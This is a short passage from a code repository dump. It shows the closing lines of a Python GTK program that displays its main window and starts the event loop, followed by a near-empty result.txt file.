564 | window = builder.get_object("window1")
565 | window.show_all()
566 |
567 | Gtk.main()
568 |
--------------------------------------------------------------------------------
/result.txt:
--------------------------------------------------------------------------------
1 | Result.txt
2 |
--------------------------------------------------------------------------------